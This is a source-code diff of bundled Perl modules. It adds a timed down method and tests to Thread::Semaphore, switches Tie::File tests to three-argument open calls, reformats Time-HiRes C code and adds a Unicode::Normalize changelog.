+# Fix deadlock from combination of dequeue_nb, enqueue and queue size limit
+
+# (1) Fill queue
+$q->enqueue(1..3);
+is($q->pending, 3, 'Queue loaded');
+
+# (2) Thread will block trying to add to full queue
+$th = threads->create( sub {
+ $q->enqueue(99);
+ return('OK');
+});
+threads->yield();
+
+# (3) Dequeue an item so that thread can unblock
+is($q->dequeue_nb(), 1, 'Dequeued item');
+
+# (4) Thread unblocks
+is($th->join(), 'OK', 'Thread exited');
+
+# (5) Fetch queue to show thread's item was enqueued
+@items = ();
+while (my $item = $q->dequeue_nb()) {
+ push(@items, $item);
+}
+is_deeply(\@items, [2,3,99], 'Dequeued remaining');
+
exit(0);
# EOF
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm b/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
index d940d031bf4..0154798e224 100644
--- a/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/lib/Thread/Semaphore.pm
@@ -3,7 +3,7 @@ package Thread::Semaphore;
use strict;
use warnings;
-our $VERSION = '2.12';
+our $VERSION = '2.13';
$VERSION = eval $VERSION;
use threads::shared;
@@ -64,6 +64,22 @@ sub down_force {
$$sema -= $dec;
}
+# Decrement a semaphore's count with timeout
+# (timeout in seconds; decrement amount defaults to 1)
+sub down_timed {
+ my $sema = shift;
+ my $timeout = $validate_arg->(shift);
+ my $dec = @_ ? $validate_arg->(shift) : 1;
+
+ lock($$sema);
+ my $abs = time() + $timeout;
+ until ($$sema >= $dec) {
+ return if !cond_timedwait($$sema, $abs);
+ }
+ $$sema -= $dec;
+ return 1;
+}
+
# Increment a semaphore's count (increment amount defaults to 1)
sub up {
my $sema = shift;
@@ -102,7 +118,7 @@ Thread::Semaphore - Thread-safe semaphores
=head1 VERSION
-This document describes Thread::Semaphore version 2.12
+This document describes Thread::Semaphore version 2.13
=head1 SYNOPSIS
@@ -190,6 +206,23 @@ number (which must be an integer >= 1), or by one if no number is specified.
This method does not block, and may cause the semaphore's count to drop
below zero.
+=item ->down_timed(TIMEOUT)
+
+=item ->down_timed(TIMEOUT, NUMBER)
+
+The C<down_timed> method attempts to decrease the semaphore's count by 1
+or by the specified number within the specified timeout period given in
+seconds (which must be an integer >= 0).
+
+If the semaphore's count would drop below zero, this method will block
+until either the semaphore's count is greater than or equal to the
+amount you're C<down>ing the semaphore's count by, or until the timeout is
+reached.
+
+If the timeout is reached, this method will return I<false>, and the
+semaphore's count remains unchanged. Otherwise, the semaphore's count is
+decremented and this method returns I<true>.
+
=item ->up()
=item ->up(NUMBER)
@@ -218,11 +251,16 @@ environment.
=head1 SEE ALSO
-Thread::Semaphore Discussion Forum on CPAN:
-L<http://www.cpanforum.com/dist/Thread-Semaphore>
+Thread::Semaphore on MetaCPAN:
+L<https://metacpan.org/release/Thread-Semaphore>
+
+Code repository for CPAN distribution:
+L<https://github.com/Dual-Life/Thread-Semaphore>
L<threads>, L<threads::shared>
+Sample code in the I<examples> directory of this distribution on CPAN.
+
=head1 MAINTAINER
Jerry D. Hedden, S<E<lt>jdhedden AT cpan DOT orgE<gt>>
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
index b8b2f0f227b..92dacec014e 100755
--- a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/03_nothreads.t
@@ -1,7 +1,7 @@
use strict;
use warnings;
-use Test::More 'tests' => 6;
+use Test::More 'tests' => 7;
use Thread::Semaphore;
@@ -15,6 +15,7 @@ $s->down();
is($$s, 1, 'Non-threaded semaphore');
ok(! $s->down_nb(2), 'Non-threaded semaphore');
ok($s->down_nb(), 'Non-threaded semaphore');
+ok(! $s->down_timed(1), 'Non-threaded semaphore');
exit(0);
diff --git a/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t
new file mode 100644
index 00000000000..11f675981f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Thread-Semaphore/t/06_timed.t
@@ -0,0 +1,76 @@
+use strict;
+use warnings;
+
+BEGIN {
+ use Config;
+ if (! $Config{'useithreads'}) {
+ print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
+ exit(0);
+ }
+}
+
+use threads;
+use threads::shared;
+use Thread::Semaphore;
+
+if ($] == 5.008) {
+ require 't/test.pl'; # Test::More work-alike for Perl 5.8.0
+} else {
+ require Test::More;
+}
+Test::More->import();
+plan('tests' => 10);
+
+### Basic usage with multiple threads ###
+
+my $sm = Thread::Semaphore->new();
+my $st = Thread::Semaphore->new(0);
+ok($sm, 'New Semaphore');
+ok($st, 'New Semaphore');
+
+my $token :shared = 0;
+
+my @threads;
+
+push @threads, threads->create(sub {
+ $st->down_timed(3);
+ is($token++, 1, 'Thread 1 got semaphore');
+ $sm->up();
+
+ $st->down_timed(3, 4);
+ is($token, 5, 'Thread 1 done');
+ $sm->up();
+});
+
+push @threads, threads->create(sub {
+ $st->down_timed(3, 2);
+ is($token++, 3, 'Thread 2 got semaphore');
+ $sm->up();
+
+ # Force timeout by asking for more than will ever show up
+ ok(! $st->down_timed(1, 10), 'Thread 2 timed out');
+ $sm->up();
+});
+
+$sm->down();
+is($token++, 0, 'Main has semaphore');
+$st->up();
+
+$sm->down();
+is($token++, 2, 'Main got semaphore');
+$st->up(2);
+
+$sm->down();
+is($token++, 4, 'Main re-got semaphore');
+$st->up(5);
+
+$sm->down(2);
+$st->down();
+
+$_->join for @threads;
+
+ok(1, 'Main done');
+
+exit(0);
+
+# EOF
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t b/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
index 202b09c76aa..e9504d3a1d2 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/01_gen.t
@@ -119,7 +119,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, "<", $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t b/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
index 12d2b51cba3..146a91ad635 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/02_fetchsize.t
@@ -10,7 +10,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t b/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
index 7d5a3886fef..63dad4fa3a0 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/03_longfetch.t
@@ -18,7 +18,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
index b3880b758cb..8d23c5851b1 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/04_splice.t
@@ -222,7 +222,7 @@ check_contents("0$:1$:2$:");
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t b/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
index 44c69f910f0..72774c80701 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/05_size.t
@@ -16,7 +16,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-3 FETCHSIZE 0-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
close F;
$o = tie @a, 'Tie::File', $file;
@@ -34,7 +34,7 @@ undef $o;
untie @a;
my $data = "rec0$:rec1$:rec2$:";
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
index e5c09b1a481..141383a6407 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/07_rv_splice.t
@@ -177,7 +177,7 @@ check_result();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t b/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
index 5fd8933bf80..a38e7faf528 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/08_ro.t
@@ -30,7 +30,7 @@ for my $i (0..$#items) {
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -56,7 +56,7 @@ if (setup_badly_terminated_file(4)) {
sub setup_badly_terminated_file {
my $NTESTS = shift;
- open F, "> $file" or die "Couldn't open $file: $!";
+ open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
print F $badrec;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
index e590210335f..88d8250ba0f 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/09_gen_rs.t
@@ -161,7 +161,7 @@ if (setup_badly_terminated_file(1)) {
sub setup_badly_terminated_file {
my $NTESTS = shift;
- open F, "> $file" or die "Couldn't open $file: $!";
+ open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
print F $badrec;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
index 50b8b0a7ee2..da981db0d21 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/10_splice_rs.t
@@ -175,7 +175,7 @@ check_contents("");
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
index ae1053802a7..2fc9f2c7166 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/11_rv_splice_rs.t
@@ -154,7 +154,7 @@ check_result(0..3);
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
index 6f1905d6afa..4e5d57b199f 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/12_longfetch_rs.t
@@ -15,7 +15,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t b/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
index a2a8d53bdd6..b2e534c9700 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/13_size_rs.t
@@ -17,7 +17,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-3 FETCHSIZE 0-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
print $o ? "ok $N\n" : "not ok $N\n";
@@ -31,7 +31,7 @@ undef $o;
untie @a;
# 4-5 FETCHSIZE positive-length file
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
print F $data;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t b/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
index cab48125b0d..c523458f51b 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/14_lock.t
@@ -29,7 +29,7 @@ use Tie::File;
print "ok $N\n"; $N++;
# 2-4 Who the heck knows?
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
close F;
$o = tie @a, 'Tie::File', $file, recsep => 'blah';
print $o ? "ok $N\n" : "not ok $N\n";
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t b/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
index f799496be1a..21a3fce9460 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/16_handle.t
@@ -117,7 +117,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t b/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
index 81c693263e3..a8b6e69c98c 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/19_cache.t
@@ -15,7 +15,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -169,7 +169,7 @@ check();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t b/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
index 8b3bf0b2e0f..bd4d6a760f7 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/20_cache_full.t
@@ -14,7 +14,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -192,7 +192,7 @@ check();
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t b/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
index d06854441bf..0ccf669737d 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/21_win32.t
@@ -31,7 +31,7 @@ my $n;
@a = qw(fish dog carrot);
undef $o;
untie @a;
-open F, "< $file" or die "Couldn't open file $file: $!";
+open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $a = do {local $/ ; <F> };
my $x = "fish\r\ndog\r\ncarrot\r\n" ;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t b/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
index dee07a8ec89..ebf3eaca4c2 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/22_autochomp.t
@@ -105,7 +105,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t b/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
index be229574f91..104045a1755 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/23_rv_ac_splice.t
@@ -155,7 +155,7 @@ check_result(0..3);
sub init_file {
my $data = shift;
- open F, "> $file" or die $!;
+ open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t b/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
index 0bc66bee2b1..42c002c19bb 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t b/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
index 78e55062154..ce55d27d6a3 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
@@ -91,7 +91,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
index e2a925f4e08..d827f1c3f9c 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
@@ -27,7 +27,7 @@ $: = Tie::File::_default_recsep();
# The problem was premature termination in the inner loop
# because you had $more_data scoped *inside* the block instead of outside.
# 20020331
-open F, "> $file" or die "Couldn't open $file: $!";
+open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
for (1..100) {
print F "$_ ", 'a'x150, $: ;
@@ -263,7 +263,7 @@ try(42000, 0, 0); # old=0 , new=0 ; old = new
sub try {
my ($pos, $len, $newlen) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -289,7 +289,7 @@ sub try {
$o->_twrite($newdata, $pos, $len);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -313,7 +313,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
index db591a81ba0..04ad436e473 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
@@ -179,7 +179,7 @@ sub try {
my ($s, $len, $newlen) = @_;
my $e = $s + $len;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
print F $oldfile;
@@ -197,7 +197,7 @@ sub try {
my $actual_return = $o->_iwrite($newdata, $s, $e);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
index 50e306d3b6f..31463693df0 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
@@ -198,7 +198,7 @@ sub mkrand {
sub try {
push @TRIES, [@_] if @_ == 3;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
print F $oldfile;
close F;
@@ -220,7 +220,7 @@ sub try {
my $actual_return = $o->_mtwrite(@mt_args);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t b/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
index d75806d5b2c..793116a7c07 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
@@ -237,7 +237,7 @@ try(42000, 0, 0); # old=0 , new=0 ; old = new
sub try {
my ($pos, $len, $newlen) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -279,6 +279,11 @@ sub try {
print "# Timeout\n";
print "not ok $N\n"; $N++;
print "not ok $N\n"; $N++;
+ if (defined $len) {
+ # Fail the tests in the recursive call as well
+ print "not ok $N\n"; $N++;
+ print "not ok $N\n"; $N++;
+ }
return;
} else {
$@ = $err;
@@ -286,7 +291,7 @@ sub try {
}
}
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -318,7 +323,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t b/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
index 1130615f37a..9840af42810 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
@@ -98,7 +98,7 @@ try($FLEN-20000, 200, undef);
sub try {
my ($src, $dst, $len) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -141,7 +141,7 @@ sub try {
}
}
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -165,7 +165,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t b/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
index 063b3a70903..975cdfba5c8 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -89,7 +89,7 @@ check_contents(join $:, "r0".."r2", "", "r4".."r6", "");
#
undef $o; untie @a;
$data = join "$:", map("record$_", 0..7), ""; # records are 8 or 9 bytes long
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -221,7 +221,7 @@ check_contents(join("$:", qw(recordF recordB recordC
undef $o;
untie @a;
# (79) We can't use check_contents any more, because the object is dead
-open F, "< $file" or die;
+open F, '<', $file or die;
binmode F;
{ local $/ ; $z = <F> }
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t b/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
index ea929a40972..baf72c29577 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t b/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
index e0e3f15bb8f..f4ee1105510 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
@@ -17,7 +17,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t b/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
index 071af77a684..b68541c0bc1 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
@@ -21,7 +21,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Time-HiRes/fallback/const-xs.inc b/gnu/usr.bin/perl/dist/Time-HiRes/fallback/const-xs.inc
index c84dd051dd1..b8c10a99914 100644
--- a/gnu/usr.bin/perl/dist/Time-HiRes/fallback/const-xs.inc
+++ b/gnu/usr.bin/perl/dist/Time-HiRes/fallback/const-xs.inc
@@ -22,12 +22,14 @@ constant(sv)
Second, if present, is found value */
switch (type) {
case PERL_constant_NOTFOUND:
- sv = sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s));
+ sv =
+ sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s));
PUSHs(sv);
break;
case PERL_constant_NOTDEF:
sv = sv_2mortal(newSVpvf(
- "Your vendor has not defined Time::HiRes macro %s, used", s));
+ "Your vendor has not defined Time::HiRes macro %s, used",
+ s));
PUSHs(sv);
break;
case PERL_constant_ISIV:
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes b/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes
new file mode 100644
index 00000000000..22ec16e0bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes
@@ -0,0 +1,258 @@
+Revision history for Perl extension Unicode::Normalize.
+
+1.26 *** RELEASE DATE HERE ***
+ - Switch to XSLoader from Dynaloader
+
+1.25 Wed Dec 16 03:05:57 UTC 2015
+ - Fix Normalize.xs to work on releases earlier than 5.8. The problem was
+ introduced in this module's version 1.24
+ - Go back to shipping pure perl version as well as XS, as was done up
+ through release 1.17
+
+1.24 Sun Nov 29 05:48:44 UTC 2015
+ - Updated to use most recent GNU license file.
+ ( https://rt.cpan.org/Public/Bug/Display.html?id=108003 )
+ - Silence compiler warning message
+ ( https://rt.cpan.org/Public/Bug/Display.html?id=109577 )
+ - Add kwalitee suggested changes.
+
+1.23 Sun Oct 25 14:50:28 UTC 2015
+ - Fix mkhdr to work on releases earlier than 5.8
+
+1.22 Thu Oct 08 16:50:17 2015
+ - Reinstate XSUB, now works on modern EBCDIC perls as well.
+ - Kwalitee changes
+ - Makefile fixes
+ - small bug fix in header generation script.
+
+1.21 Fri Oct 02 15:33:17 2015
+ - Get pure perl version to work on modern EBCDIC perls.
+ - Some comment and pod improvements
+
+1.20 Fri Oct 02 15:30:40 2015
+ - Not officially released, was incomplete import of 1.19
+
+1.19 Sat Jul 11 12:39:38 2015
+ - [rt.cpan.org #105620] Useless dependency on bytes and File::Copy
+
+1.18 Tue May 27 22:04:23 2014
+ - XSUB is now deprecated and removed. see perl 5.20.0,
+ perldelta, Internal Changes, deprecation of uvuni_to_utf8 etc.
+ - Thank you for everything !!
+
+1.17 Sat Oct 5 11:36:43 2013
+ - assertion using unpack
+
+1.16 Sun Nov 4 17:23:03 2012
+ - XSUB: use PERL_NO_GET_CONTEXT (see perlguts)
+ (see [rt.cpan.org #80312])
+
+1.15 Sun Sep 23 10:43:14 2012
+ - perl 5.11.0 or later: Install to 'site' instead of 'perl'
+ (see [rt.cpan.org #79801])
+
+1.14 Sat Mar 10 13:34:53 2012
+ - avoid "use Test".
+
